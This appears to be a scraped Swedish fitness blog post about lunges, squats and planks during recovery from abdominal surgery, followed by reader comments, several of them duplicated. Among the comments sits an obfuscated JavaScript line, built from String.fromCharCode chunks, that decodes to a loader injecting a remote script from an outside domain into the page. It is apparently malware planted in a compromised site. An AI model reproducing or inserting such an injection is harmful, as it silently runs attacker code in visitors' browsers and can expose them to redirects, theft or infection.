Hej Fina! Hur går det med träningen? Denna veckan varvar vi Cinderella workout med lite klassiska övningar med fokus på ben, lår, rumpa och mage! Detta är bara en början, täcka på att försöka lägga in PW eller löpning innan om du har möjlighet =) Om du använder förra veckans övningar så kan du köra dessa tre varannan dag….
Klassiska Utfalls steg. Observera att jag INTE har rätt hållning (än) pga bukplastiken så kan jag inte riktigt sträcka ut 100% än. Men det ska du göra =) kör repitioner 3×20 på varje ben….
klassiska squats, grym träning för rumpa & lår! Kör 3×20
Jag fokusera mycket på att aktivera magmuskulaturen, då dom precis börjat fungera igen 🙂 jag fortsätter även med plankan 3x60sek. Ibland kör jag denna två gånger om dagen 🙂 -kör hårt nu!
Vad härligt att du har börjat med att köra träningsövningar här. Grymt bra och kul att följa hela tiden. Kör hårt och lycka till. Jag ska köra dessa övningar i kväll!
Vad härligt att du har börjat med att köra träningsövningar här. Grymt bra och kul att följa hela tiden. Kör hårt och lycka till. Jag ska köra dessa övningar i kväll!
Gud vad jag längtar till jag får göra min operation. 28/9 känns som en evighet. Efter rehab ser jag verkligen fram emot att kunna träna och få resultat på en helt annan nivå än idag. Gör hur mkt coreträning som helst utan resultat men tacka tusan för det när musklerna är delade… Fortsätt inspirera och tipsa!
// Rebecca
Gud vad jag längtar till jag får göra min operation. 28/9 känns som en evighet. Efter rehab ser jag verkligen fram emot att kunna träna och få resultat på en helt annan nivå än idag. Gör hur mkt coreträning som helst utan resultat men tacka tusan för det när musklerna är delade… Fortsätt inspirera och tipsa!
// Rebecca
My Martens , Ako Rahim. Adviral Media.
d
Ako, Renata, My
var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/
Vad härligt att du har börjat med att köra träningsövningar här. Grymt bra och kul att följa hela tiden. Kör hårt och lycka till. Jag ska köra dessa övningar i kväll!
Ett tips om det gör ont i knäna när man gör utfall, är att göra stegen bakåt i stället.
Det belastar mindre så kör så med mina knastriga knän ?
Vad härligt att du har börjat med att köra träningsövningar här. Grymt bra och kul att följa hela tiden. Kör hårt och lycka till. Jag ska köra dessa övningar i kväll!
Ett tips om det gör ont i knäna när man gör utfall, är att göra stegen bakåt i stället.
Det belastar mindre så kör så med mina knastriga knän 🙂
Gud vad jag längtar till jag får göra min operation. 28/9 känns som en evighet. Efter rehab ser jag verkligen fram emot att kunna träna och få resultat på en helt annan nivå än idag. Gör hur mkt coreträning som helst utan resultat men tacka tusan för det när musklerna är delade… Fortsätt inspirera och tipsa!
// Rebecca
Jag undrar vart outfiten kommer ifrån? ?
Otroligt snygg!
Gud vad jag längtar till jag får göra min operation. 28/9 känns som en evighet. Efter rehab ser jag verkligen fram emot att kunna träna och få resultat på en helt annan nivå än idag. Gör hur mkt coreträning som helst utan resultat men tacka tusan för det när musklerna är delade… Fortsätt inspirera och tipsa!
// Rebecca
Jag undrar vart outfiten kommer ifrån? 🙂
Otroligt snygg!
Tack för all tränings inspiration ? har du fortfarande ont efter på? Ska själv op mig och undrar ungefär hur länge man känner av operationen efter åt.
Tack för all tränings inspiration 🙂 har du fortfarande ont efter på? Ska själv op mig och undrar ungefär hur länge man känner av operationen efter åt.